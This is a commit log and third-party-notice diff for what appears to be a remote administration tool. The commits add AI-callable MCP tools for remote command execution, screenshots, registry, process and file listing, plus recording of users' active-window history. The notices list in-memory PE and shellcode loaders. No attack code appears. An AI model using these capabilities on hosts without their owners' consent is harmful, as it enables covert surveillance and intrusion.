yuanyuanxianganddeepseek-v4-pro 0ddbc1aced Feature: Add exec_command MCP tool
Add a one-shot exec_command MCP tool that runs a command on a remote
Windows host and returns stdout plus exit code, reusing the Web terminal
link (main-connection COMMAND_SHELL, a shell sub-connection, and a
sentinel command line located via rfind to tolerate ConPTY echo).

The sentinel marker is embedded in the command line ConPTY echoes back,
so it is only treated as hit when it starts a line (preceded by a newline
or the buffer start); this keeps the echoed marker from being mistaken
for the real sentinel when the echo packet arrives before the output.

Execution is gated at Web remote-desktop sensitivity: a read-only mode
(McpReadonly, default on, hides the tool) and a command whitelist
(McpCmdWhitelist) with built-in read-only prefixes. Shell metacharacters
(& | < > ^) are rejected before whitelist matching, and each execution is
recorded in the server audit log.

Extend the MCP settings dialog with the read-only checkbox and a
multi-line whitelist box (commas and newlines both accepted, normalized
to a comma-separated list on save), and add English and Traditional
Chinese mappings for the new UI and audit-log strings.

Co-Authored-By: deepseek-v4-pro
2026-08-23 23:23:20 +02:00
yuanyuanxianganddeepseek-v4-pro 8bd6f3b60a Feature: Add list_registry MCP tool
Add a read-only list_registry MCP tool for querying a remote Windows
host's registry. An empty path returns the five root keys; a path such as
HKEY_LOCAL_MACHINE plus subkeys returns that key's immediate subkeys and
values (name, type, and formatted data).

Client side: enumerate with KEY_READ instead of KEY_ALL_ACCESS and map the
full value-type set (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ,
REG_MULTI_SZ, REG_QWORD, REG_NONE) so unknown types are no longer
mis-reported as REG_SZ. The registry manager now always sends both the
TOKEN_REG_PATH and TOKEN_REG_KEY packets (an empty packet when a part is
empty), making the two-packet reply deterministic for the server.

Server side: add the three-phase flow (COMMAND_REGEDIT, COMMAND_REG_FIND,
then PATH plus KEY) with per-host pending state, parse the fixed-width
wire format with bounds checks, format value data for JSON, and guard
registry paths against exceeding MAX_PATH to protect the client stack.

Co-Authored-By: deepseek-v4-pro
2026-08-23 10:37:55 +02:00
yuanyuanxianganddeepseek-v4-pro 8815c4f896 Feature: Add get_audit_log MCP tool
Expose the server main-window audit log (host online/offline, operation
results, alerts) as a read-only, no-arg, in-memory MCP tool. The log lives
in m_CList_Message, a CListCtrl that is only safe to touch on the UI
thread, so add a thread-safe mirror m_MessageLog (guarded by m_cs) and keep
it in sync at the four item-mutation sites: ShowMessage, OnShowErrMessage,
OnMsglogDelete and OnMsglogClear. The tool reads the mirror directly under
m_cs and returns up to MAX_MESSAGE_COUNT (1000) entries, newest first.

Co-Authored-By: deepseek-v4-pro
2026-08-21 20:33:59 +02:00
yuanyuanxianganddeepseek-v4-pro 8de5c00a39 Improve: Park duplicate online connections as standby, promote on old removal
Replacing the old connection on a duplicate login made the client
reconnect in a tight loop. Instead, park the new connection in a standby
list keyed by clientID and promote it into the main host list only after
the old connection is removed by heartbeat timeout or disconnect.

Fix heartbeat attribution so a parked standby refreshes its own
last-heartbeat time rather than the main connection's, otherwise the main
never times out and the standby can never take over. Gate the offline
notification on an actual removal with no promoted standby to avoid a
spurious "host offline" when takeover happens. Skip promoting a standby
already marked removed, and reuse the normal login sign/settings path when
a standby is promoted.

Co-Authored-By: deepseek-v4-pro
2026-08-21 19:50:11 +02:00
yuanyuanxiang d359148841 doc: Add the "docs\macOS_Support_Design.md" to git 2026-08-21 14:15:31 +02:00
yuanyuanxiangandClaude Opus 4.8 11e8b122fe Fix: Client log dialog stops updating past edit-control default limit
The Win32 EDIT control caps text at ~32K/64K chars by default, so the
client log dialog silently stopped accepting appends long before the
512KB truncation logic could run. Call SetLimitText(0) in both
CClientLog and CActivityDialog to lift the cap.

Also unify newline handling in Logger: each entry now ends with exactly
one '\n' at the source, so the in-memory ring-buffer dump (used by the
TCP log query) splits into lines correctly instead of relying on every
Mprintf caller ending its format with '\n'. writeToFile drops the extra
std::endl accordingly.

Additionally fix a CFont leak in CClientLog::OnInitDialog by moving the
font to a member.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-08-20 17:54:33 +02:00
yuanyuanxianganddeepseek-v4-pro 0a1ecfc4ab Improve: Show host remark instead of IP in remote desktop dialog titles
When an online host has a remark set in the client list, use it in place of
the IP in the remote desktop ("远程桌面控制") and virtual screen ("远程虚拟屏幕")
dialog titles, falling back to the IP when no remark is present.

Add a GetTitleHostName() helper to both dialogs. CScreenSpyDlg resolves the
remark through its parent dialog's client map, while CHideScreenSpyDlg uses
the global g_2015RemoteDlg pointer; each falls back to m_IPAddress when the
host has no remark.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:36:30 +02:00
yuanyuanxianganddeepseek-v4-pro c08315cd79 Fix remote desktop cursor cross-contamination across dialogs
The view-mode "forbidden" cursor was applied with SetClassLongPtr(GCLP_HCURSOR),
which mutates the cursor for the whole window class instead of the single dialog
instance. Opening a second remote-desktop dialog without remote control overwrote
that shared class cursor with IDC_NO, so the already-controlled dialog also began
showing the forbidden icon even though it remained operable.

Move the view-mode cursor decision into OnSetCursor, which Windows routes per
window, and remove the now-unused class-cursor assignments. Remote-control mode
and the remote cursor-shape path are left unchanged.

Also drop the dead m_hRemoteCursor member and the leftover GetIconInfo block
(which leaked hbmMask/hbmColor in ScreenSpyDlg), plus the now-unreferenced
m_bMouseTracking flag.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:26:12 +02:00
yuanyuanxianganddeepseek-v4-pro 5611ba621c Feature: Add list_services and get_client_log MCP tools
Add the two P2d read-only MCP tools, both one-shot sub-links (mode A') on
the existing single-flight pending registry.

list_services sends COMMAND_SERVICES; the client's CServicesManager emits
TOKEN_SERVERLIST on sub-link creation, parsed as 5 null-terminated fields per
record (display_name/service_name/binary_path/status/start_type) with
zero-padding termination. Services are Windows-only, so LNX/MAC hosts get
-32005 up front instead of a 20s timeout.

get_client_log sends COMMAND_QUERY_LOG; the client's CClientLogManager dumps
its full in-memory Logger ring buffer once, then pushes deltas every 3s. The
MCP path takes the first (full) TOKEN_REPORT_LOG and cancels the sub-link so
later deltas stop, while the MFC log dialog keeps receiving deltas on the
non-pending branch. Log text is client ANSI on Windows, decoded by clientType
like process/file names. MessageHandle intercepts both with
IsPending -> TakeMainResponse + CancelIO. Sync the design doc (P2d section +
verification notes; Linux get_client_log timeout is a client-version gap).

Co-Authored-By: deepseek-v4-pro
2026-08-19 14:28:10 +02:00
yuanyuanxianganddeepseek-v4-pro c6c6e1d5ef Improve: Add optional max_width to get_screenshot
The get_screenshot tool inherited the MFC thumbnail-preview profile, capping
the frame at 1024px wide (1280 on 4K source), which is too small for AI
vision/OCR of dense UI. Add an optional max_width argument that overrides the
width (clamped to the client's 64..1920 limit) while keeping the RTT-adaptive
jpegQuality. Omitted or 0 keeps the existing thumbnail profile; 1920 yields
near-native resolution (full 1080p on a 1080p source, 1920 wide on 4K). Sync
the design doc.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:41:38 +02:00
yuanyuanxianganddeepseek-v4-pro 61089e5fae Feature: Add list_files and get_screenshot MCP tools
Add the two P2c MCP tools on top of the P2b protocol. list_files lists
drives (COMMAND_LIST_DRIVE -> TOKEN_DRIVE_LIST) or a directory (follow-up
COMMAND_LIST_FILES -> TOKEN_FILE_LIST on the same one-shot sub-link);
get_screenshot reuses the screen-preview RPC with a per-host reqId
correlation so stale or MFC-preview responses fall through to the MFC
path untouched. Both share the P2b single-flight pending registry.

Fix file/process name encoding: the client reads process names, paths and
file names via the ANSI (A) APIs, so they are GBK on Windows regardless of
the CLIENT_CAP_UTF8 capability bit (which governs window titles only).
Decode by clientType (LNX/MAC = UTF-8, Windows = 936) rather than
GetClientEncoding, and convert the list_files path to the client ANSI code
page before sending. Sync Mcp_Phase2_Design.md with the P2c design and the
encoding correction.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:27:32 +02:00
yuanyuanxianganddeepseek-v4-pro bcde74368d Fix: Resolve window titles by clientID instead of peer IP
Window list (WSLIST) sub-connections carry no capability bits, so
GetClientEncoding fell back to FindHostByIP(peer IP) to locate the main
connection. Under FRP/NAT reverse proxy the sub-connection's socket peer
is 127.0.0.1 or an internal relay address, which does not match the main
connection's recorded public IP; the lookup returned NULL and the client's
UTF-8 window titles were decoded as CP936 (GBK), producing mojibake on
hosts with Chinese window titles.

Resolve the main connection by clientID first (pinned on the sub-connection
after TOKEN_CONN_AUTH via SetID), falling back to the peer-IP lookup only
for legacy clients that do not send TOKEN_CONN_AUTH.

Co-Authored-By: deepseek-v4-pro
2026-08-19 11:05:35 +02:00
yuanyuanxianganddeepseek-v4-pro 6ba6b0289d Feature: Add list_processes, list_windows and get_activity_history MCP tools
Add three read-only P2b MCP tools over the existing protocol. list_processes and list_windows trigger the client via COMMAND_SYSTEM / COMMAND_WSLIST on the main connection and receive TOKEN_PSLIST / TOKEN_WSLIST on a one-shot sub-link; get_activity_history uses the main-connection RPC COMMAND_QUERY_ACTIVITY -> TOKEN_REPORT_ACTIVITY. A per-host single-flight pending registry (m_Pending) with a 20s timeout correlates each response to its request and rejects a concurrent request for the same host with -32003. Parsers stop on the first empty record to ignore the client's LocalSize trailing zero padding, and window titles are decoded per the client UTF-8 capability bit. MessageHandle only adds if-guarded branches, so the MFC dialogs are untouched. Sync Mcp_Phase2_Design.md with the mode A'/A architecture, the verification notes, and the registry-backed config location.

Co-Authored-By: deepseek-v4-pro
2026-08-19 09:58:58 +02:00
yuanyuanxianganddeepseek-v4-pro 86c4f14cf4 Feature: Add search_hosts and get_host_detail MCP tools
Add two pure in-memory MCP tools over the online host list. search_hosts filters by name/remark, IP, group and OS (all optional, AND-combined, ASCII case-insensitive substring match); get_host_detail returns one online host by id and answers -32602 for a missing/non-numeric id and -32002 for an unknown or offline id. Sync Mcp_Phase2_Design.md with the second-review corrections and the P2a implementation.

Co-Authored-By: deepseek-v4-pro
2026-08-18 16:53:28 +02:00
yuanyuanxianganddeepseek-v4-pro 13052b7cae Feature: Add MCP (Model Context Protocol) server integration
Add an optional MCP server (JSON-RPC 2.0 over Streamable HTTP) exposing
an online-host listing tool, protected by a Bearer token. Disabled by
default; configured via a new "Extensions > MCP Settings" dialog.

- McpServer: httplib + JSON-RPC 2.0 dispatch (initialize/ping/tools/list/tools/call)
- McpSettingsDlg: runtime-created dialog for enable/port/bind/token
- HostJson: extract single-host JSON serialization shared with WebService
- FRP: expose MCP port (union with listening/Web ports) when bound to 0.0.0.0
- i18n: en_US / zh_TW translations

Co-Authored-By: deepseek-v4-pro
2026-08-16 14:37:11 +02:00
yuanyuanxianganddeepseek-v4-pro 43398e405e Feature: Add icons to online host context menu items
Add 16x16 icons for the three context-menu items that previously had
none: "Activity History" (Client Management), "Browse Window" (Remote
Control), and "Proxy Port - Auto Start" (Client Proxy). Register three
new bitmap resources and extend the main dialog's bitmap array from 63
to 66 entries so each menu item renders an intuitive glyph.

Co-Authored-By: deepseek-v4-pro
2026-08-15 13:42:57 +02:00
yuanyuanxianganddeepseek-v4-pro 29929e48b2 Feature: Add client activity history recording and display
Record the client's active-window history (start time, window title, and
dwell duration), newest first, skipping dwellings under 5 seconds and
breaking the timing on idle, capped at 500 entries. Add an "Activity
History" item inside the host's Client Management submenu that requests
the snapshot over the main connection and shows it in a new dialog. The
dialog rebuilds its edit control as a Unicode window so UTF-8 titles
render correctly instead of degrading to "?" through the MBCS ANSI
boundary. The menu item and dialog title go through _TR and are
localized in en_US and zh_TW.

Co-Authored-By: deepseek-v4-pro
2026-08-15 11:09:14 +02:00
yuanyuanxianganddeepseek-v4-pro d0bad75284 Feature: Remember host list sort preference in main dialog
Persist the sort column and direction chosen via the online host list
header (list\OnlineListSort registry key) so the next launch defaults to
the same sort. Re-apply the sort when hosts come online/offline so newly
connected hosts land in their sorted position instead of appending at the
end.

Co-Authored-By: deepseek-v4-pro
2026-08-13 13:12:29 +02:00
yuanyuanxianganddeepseek-v4-pro 9d2e9ec8ca Feature: Remember process/window list sort preference
Persist the sort column and direction chosen via the list header so the
next time the process or window management dialog opens it defaults to
the same sort. Process and window lists are remembered separately
(list\ProcessListSort and list\WindowListSort registry keys) since their
columns have different meanings.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:59:29 +02:00
yuanyuanxianganddeepseek-v4-pro 2d7f224a22 Fix: process list architecture column sorting was a no-op
The process list stored the architecture string only in ItemData::Arch,
leaving Data[3] (the architecture column) empty. Sorting by the
architecture column therefore compared empty strings and did nothing.
Populate Data[3] with the architecture value so the sort works.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:44:14 +02:00
yuanyuanxiangandDeepSeek V4 Pro c8973282cb Feature: Add "Unban IP" to log message context menu in main dialog
- Add "Unban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, performing two actions on the extracted IP:
  1. Remove the IP from the IPBlacklist singleton and persist to config
  2. Scan the entire history host list (m_ClientMap->GetAll()) for all
     clients matching the IP with AUTH_FORBIDDEN status, and restore
     them to UNAUTHORIZED (0) — requiring re-authorization for safety
- Reuses ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
- Handles the case where an IP is not in the blacklist and has no
  matching forbidden clients with a clear "no action needed" message
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-07 11:45:18 +02:00
yuanyuanxiangandDeepSeek V4 Pro 7bbc47a0ee Feature: Add "Ban IP" to log message context menu in main dialog
- Add "Ban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them directly to the IP blacklist
- Reuses ExtractFirstIPFromMessage() from the previous commit for
  dependency-free IPv4 parsing with per-segment 0-255 validation
- Checks against whitelist before banning (whitelisted IPs cannot be
  banned) and skips IPs already in blacklist with clear feedback
- Immediately persists via THIS_CFG.SetStr to the config ini file;
  IPBlacklist singleton takes effect instantly — subsequent connections
  from banned IPs are rejected in IOCPServer::OnAccept() which already
  calls IsIPBlacklisted() on every new connection
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 20:44:33 +02:00
yuanyuanxiangandDeepSeek V4 Pro eeacbe5d61 Feature: Add "Online Notify" to log message context menu in main dialog
- Add "Online Notify" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them to notification keywords
- Implement ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
  with per-segment 0-255 validation, handling diverse log message formats
- Extend NotifyManager::ShouldNotify with IP column (ONLINELIST_IP)
  fallback check, ensuring IP keywords match regardless of the user's
  configured ColumnIndex setting
- OnMsglogLoginNotify only appends keywords and enables the rule without
  overwriting the user's existing ColumnIndex or TriggerType settings
- Menu item is automatically grayed out when PowerShell is unavailable
  or no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 18:13:14 +02:00
yuanyuanxiangandDeepSeek V4 Pro 7c09e9dd8c Fix: Move ONLINELIST_PRIVILEGE to end of enum to fix history host column data corruption
Commit 6d0b1bb (Feat: Add privilege column) inserted ONLINELIST_PRIVILEGE
at enum value 9, shifting INSTALLTIME from 9→10 and PATH from 12→13.
However, FileUpload_Lib (SimplePlugins) is compiled against a separate
copy of context.h that still uses the old enum values. Since
HostInfo.cpp's SaveClientMapData uses OLD enum values to read
sClientInfo[], it was reading privilegeStr for InstallTime and client
type for ProgramPath — corrupting the history host database.

Fix: move ONLINELIST_PRIVILEGE to value 16 (just before MAX), restoring
all original enum values (INSTALLTIME=9, PATH=12, etc.) so the
pre-built library can continue reading correct data without recompilation.

The 'permission' column now appears as the rightmost column in the
online host list instead of between 'version' and 'install time'.

Co-Authored-By: DeepSeek V4 Pro
2026-08-05 20:07:21 +02:00
278 changed files with 67672 additions and 7104 deletions

No files matched your search

+1
View File
@@ -93,6 +93,7 @@ Bin/*
nul
server/go/web/assets/index.html
server/go/users.json
server/go/devices.json
server/go/build/
server/go/.claude/settings.json
android/app/.cxx/
+85 -8
View File
@@ -2,28 +2,105 @@
## compress
Prebuilt binaries under `compress/`, linked via `#pragma comment(lib, ...)`.
- [zlib v1.3.2](https://zlib.net)
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
- [x264 v0.164.3194](https://github.com/corecodec/x264)
- [x264 v0.164.3194](https://github.com/corecodec/x264) — GPL-2.0, see note below
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git)
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git) — LGPL-2.1, linked statically, see note below
- [jsoncpp v1.9.6](https://github.com/open-source-parsers/jsoncpp)
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
- [libvpl v2.16.0](https://github.com/intel/libvpl)
- [dav1d 62501cc](https://github.com/videolan/dav1d)
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv) — `server/2015Remote/libpeconv/`
- [libvpl v2.16.0](https://github.com/intel/libvpl) — `compress/ffmpeg/vpl_x64*.lib`
- [dav1d 62501cc](https://github.com/videolan/dav1d) — `compress/ffmpeg/dav1d_x64.lib`
## execution
- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
- [MemoryModule](https://github.com/fancycode/MemoryModule.git) — `client/MemoryModule.c`
- [sRDI](https://github.com/Drewsif/sRDI.git)
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
## vendored source
Single-file libraries compiled into the product as source.
- [KCP (ikcp)](https://github.com/skywind3000/kcp) — `common/ikcp.c`, `common/ikcp.h`
- [xxHash v0.8.3](https://github.com/Cyan4973/xxHash) — `common/xxhash.h`
- [tiny-AES-c](https://github.com/kokke/tiny-AES-c) — `common/aes.c`, `common/aes.h`
- [skCrypter](https://github.com/skadro-official/skCrypter) — `common/skCrypter.h`
- [cpp-httplib v0.14.3](https://github.com/yhirose/cpp-httplib) — `server/2015Remote/httplib.h`
## runtime / data
Shipped with the product or linked by the Linux/macOS builds.
- [OpenSSL](https://github.com/openssl/openssl) — Linux/macOS client TLS (`client/TlsChannelLinux.cpp`) and `libsign.a` HMAC; version follows the system/package OpenSSL 3.x
- [FRP (frpc / frps) v0.69.2-0.20260605064132-d58c00d0332c](https://github.com/fatedier/frp) — `Bin/res/frpc.dll`, `Bin/res/frps.dll`
- [ip2region (xdb v4)](https://github.com/lionsoul2014/ip2region) — `Bin/ip2region_v4.xdb`
- [QQWry / 纯真 IP 库](https://www.cz88.net/) — `Bin/qqwry.dat`
- Microsoft DirectX SDK headers — `client/d3d/`, included by `client/dxtrans.h` for legacy D3D texture formats; used under the DirectX SDK EULA, not open source
## server-go
`server/go/`, shipped as `Bin/YAMAGo_x64.exe`.
- [github.com/golang-jwt/jwt/v5 v5.3.1](https://github.com/golang-jwt/jwt)
- [github.com/gorilla/websocket v1.5.3](https://github.com/gorilla/websocket)
- [github.com/klauspost/compress v1.18.2](https://github.com/klauspost/compress)
- [github.com/rs/zerolog v1.34.0](https://github.com/rs/zerolog)
- [golang.org/x/sync v0.20.0](https://pkg.go.dev/golang.org/x/sync)
- [golang.org/x/text v0.32.0](https://pkg.go.dev/golang.org/x/text)
- [gopkg.in/natefinch/lumberjack.v2 v2.2.1](https://github.com/natefinch/lumberjack)
- indirect: [mattn/go-colorable v0.1.13](https://github.com/mattn/go-colorable), [mattn/go-isatty v0.0.19](https://github.com/mattn/go-isatty), [golang.org/x/sys v0.12.0](https://pkg.go.dev/golang.org/x/sys)
## android
`android/`, shipped as `Bin/ghost.apk`.
- [androidx.core:core-ktx 1.13.1](https://developer.android.com/jetpack/androidx/releases/core)
- [androidx.appcompat:appcompat 1.7.0](https://developer.android.com/jetpack/androidx/releases/appcompat)
- [Kotlin standard library 2.1.21](https://kotlinlang.org/)
## test
Build/test only, not shipped.
- [GoogleTest v1.14.0](https://github.com/google/googletest) — fetched via CMake `FetchContent`
## *Note*
The proper operation of the program depends on the above library files.
The proper operation of the program depends on the above library files.
Some libraries are not open source, please contact author for details.
These libraries are all compiled personally by the author and can be used with confidence.
These libraries are all compiled personally by the author and can be used with confidence.
If you use libraries from other sources, there may be compilation risks.
### Private libraries (not third-party)
`lib/` ships `FileUpload_Lib`, `PrivateDesktop_Lib` and `shrink` as prebuilt
binaries; `linux/lib/libsign.a`, `macos/lib/libsign.a` and
`android/.../lib/<abi>/libsign.a` are likewise the author's own. They are part
of the multi-layer licensing architecture and are **not** covered by the
open-source notices above.
### GPL note
`x264` is GPL-2.0 and `ffmpeg` is LGPL-2.1; both are linked **statically** on
Windows. `common/config.h` exposes `DISABLE_X264_FOR_TEST` and
`DISABLE_FFMPEG_FOR_TEST` (both default `0`, i.e. enabled) to build without
them. With `DISABLE_X264_FOR_TEST=1` neither the x264 library nor its headers
are needed — the whole `compress/x264/` directory can be deleted. The same
holds for `DISABLE_FFMPEG_FOR_TEST=1` and `compress/ffmpeg/`.
Binaries that include x264 are subject to GPL-2.0 unless covered by a
commercial x264 license.
**Important:** the bundled FFmpeg is a decode-only build (`--disable-encoders`,
see the configure line in `LICENSE-THIRD-PARTY.txt` section 19), so it provides
no encoder. x264 is therefore the product's *only* H.264 encoder, and
`DISABLE_X264_FOR_TEST=1` means no H.264 at all — the client falls back to raw
RGB565 frames. Keeping H.264 while staying GPL-free needs a different encoder
or a commercial x264 license. See `LICENSE-THIRD-PARTY.txt` for the full text
and the obligations that come with static LGPL linking.
+403 -25
View File
@@ -1,15 +1,15 @@
THIRD-PARTY SOFTWARE NOTICES AND LICENSES
This document contains intellectual property notices and license information for
This document contains intellectual property notices and license information for
third-party software components used in this product.
================================================================================
SUMMARY OF LICENSE TYPES
================================================================================
The third-party components included in this software are governed by the following
open-source licenses. For complete compliance, ensure that any modifications to
LGPL and MPL covered components are made available under their respective terms,
and this text file is distributed with your software product.
The third-party components included in this software are governed by the following
open-source licenses. For complete compliance, ensure that any modifications to
LGPL, MPL and GPL covered components are made available under their respective
terms, and this text file is distributed with your software product.
1. Zlib License
- zlib v1.3.2
@@ -18,16 +18,47 @@ and this text file is distributed with your software product.
- libyuv v190
- jpeg (libjpeg-turbo) v3.1.1
- opus-1.6.1
- GoogleTest v1.14.0
- github.com/klauspost/compress v1.18.2
- golang.org/x/sync, golang.org/x/text, golang.org/x/sys
3. BSD 2-Clause License
- libpeconv c7d1e48
- pe_to_shellcode
- dav1d 62501cc
- xxHash v0.8.3
- github.com/gorilla/websocket v1.5.3
4. MIT License
- jsoncpp v1.9.6
- sRDI
5. GNU Lesser General Public License v2.1 (LGPL v2.1)
- ffmpeg v7.1 (Compiled in shared, non-GPL mode)
6. Mozilla Public License v2.0 (MPL 2.0)
- libvpl v2.16.0
- KCP (ikcp)
- skCrypter
- cpp-httplib v0.14.3
- github.com/golang-jwt/jwt/v5 v5.3.1
- github.com/rs/zerolog v1.34.0
- gopkg.in/natefinch/lumberjack.v2 v2.2.1
- github.com/mattn/go-colorable v0.1.13
- github.com/mattn/go-isatty v0.0.19
5. The Unlicense (public domain dedication)
- tiny-AES-c
6. Apache License 2.0
- OpenSSL (Linux / macOS builds only)
- FRP (frpc.dll / frps.dll)
- ip2region (xdb v4)
- androidx.core:core-ktx 1.13.1
- androidx.appcompat:appcompat 1.7.0
- Kotlin standard library 2.1.21
7. GNU Lesser General Public License v2.1 (LGPL v2.1)
- ffmpeg v7.1 (statically linked, non-GPL build)
8. Mozilla Public License v2.0 (MPL 2.0)
- MemoryModule
9. GNU General Public License v2.0 (GPL v2.0)
- x264 v0.164.3194 (Windows builds only, opt-out available)
10. Custom terms
- QQWry / 纯真 IP database (qqwry.dat)
IMPORTANT: items 7 and 9 carry copyleft obligations. See the corresponding
sections at the end of this file before distributing a build.
================================================================================
1. zlib v1.3.2 (Zlib License)
@@ -217,7 +248,7 @@ The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
@@ -240,7 +271,7 @@ The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
@@ -248,32 +279,379 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================================================
9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
9. libvpl v2.16.0 (MIT License)
================================================================================
This software uses libraries from the FFmpeg project (v7.1), licensed under the
Copyright (c) 2021 Intel Corporation
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================================================
10. dav1d 62501cc (BSD 2-Clause License)
================================================================================
Copyright (c) 2018-2024, VideoLAN and dav1d authors
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
11. xxHash v0.8.3 (BSD 2-Clause License)
================================================================================
Copyright (c) 2012-2023 Yann Collet
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
12. KCP / ikcp (MIT License)
================================================================================
Copyright (c) 2010-2011 skywind3000 (at) gmail.com
